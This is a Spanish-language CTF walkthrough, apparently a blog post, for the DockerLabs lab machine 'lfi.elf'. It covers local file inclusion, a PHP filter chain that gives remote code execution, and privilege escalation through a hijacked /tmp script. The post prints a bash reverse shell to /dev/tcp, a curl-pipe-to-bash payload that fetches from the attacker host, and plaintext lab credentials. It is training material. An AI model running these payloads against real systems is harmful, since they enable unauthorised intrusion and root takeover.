DockerLabs lfi.elf
Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos el escaneo de puertos y podemos observar que solo tenemos el puerto 80.
Ingresamos la dirección IP en el navegador y podemos observar lo siguiente.
Seleccionamos el botón, nos lleva a una página que contiene varias opciones, pero sus contenidos no son útiles.
Realizamos un escaneo de directorios y podemos observar un archivo llamado secret.txt
.
Ingresamos el nombre del archivo y podemos observar un texto.
Probamos haciendo fuzzing en las páginas PHP y en la que tenemos respuesta es en la de index.php
.
Agregamos el parámetro y podemos observar el archivo etc
donde existe el usuario lin
.
Realizamos un fuzzing para buscar posibles archivos para un log poisoning
, pero no encontramos uno que nos sirva para este propósito
Ya que se trata de una página en PHP y podemos realizar un LFI esto nos da paso también para poder realizar un PHP Filters Chain Primero debemos comprobar si podemos realizar el ataque. Para ello, descargamos el script que nos generara la cadena. Archivo.
Usamos el siguiente comando.
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
Agregamos la cadena que nos genera en el URL, podemos observar que tenemos el archivo.
Como comprobamos que es posible el ataque crearemos una revshell simple en nuestra máquina.
bash -i >& /dev/tcp/172.17.0.1/1234 0>&1
Ahora generaremos la cadena, esta tendrá el objetivo de descargar la shell que acabamos de crear y la ejecute. Luego de ejecutarlo copiamos la cadena que se genera.
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 172.17.0.1/revshell|bash` ?>'
Antes de enviar la cadena debemos abrir dos consolas. La primera es para iniciar el servidor en Python y la segunda iniciaremos nuestro listener.
Enviamos la petición, pero obtenemos el siguiente mensaje
Para tener mayor comodidad y evitar errores lo haremos por burpsuite.
Copiamos nuestra cadena y la pegamos.
Nos vuelve a dar el mismo error. Por ello acortamos el texto y lo dejamos de la siguiente manera.
Volvemos a enviar la cadena y podemos observar que ya tenemos acceso.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Realizamos un sudo -l
, pero no tenemos credenciales para realizar ello.
Realizamos una búsqueda de permisos SUID y capabilities, pero no tenemos nada.
Vamos a la carpeta home, no podemos acceder a la carpeta del usuario lin
.
Ya que no encontramos nada vamos a las carpetas de archivos temporales, pero no tenemos nada.
Repasando nuestros pasos observamos que teníamos un mensaje en la web que indicaba que nos habían ocultado un archivo.
Regresamos a revisar los directorios web donde se puede ver una carpeta oculta.
Ingresamos al directorio listamos y podemos observar 2 archivos, uno llamado agenda.txt
y otro .passwd
.
Revisando ambos podemos observar que dentro de passwd
tenemos las credenciales de lin
y el otro archivo es una lista de palabras.
lin:agentelinsecreto
Ingresamos las credenciales y son correctas.
Vamos a la carpeta del usuario y podemos observar un archivo sistem.py
que le pertenece a root.
Leemos el archivo system.py
y podemos observar que este interactúa con el sistema y tenemos la posibilidad de ejecutar el módulo subthreads
de manera directa.
Probamos ejecutando el archivo para observar que realiza, parece que no puede ejecutarlo.
Buscamos el archivo, ya que no podemos reemplazar el archivo por uno propio porque no lo estamos ejecutando como sudo
. Usando find
podemos observar lo siguiente.
Revisando el archivo podemos observar que busca un archivo /tmp/script.sh
y si no lo encuentra muestra el mensaje que obtuvimos al ejecutar el archivo.
Con ello vamos a la carpeta /tmp
, para validar que el archivo no se encuentra debido a que antes no encontramos ningún contenido.
En la carpeta creamos el archivo con el script para que de permisos a la bash y le damos permisos de ejecución.
Ejecutamos el archivo, seleccionamos el módulo y salimos.
Realizamos un bash -p
y podemos observar que ya somos root
. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by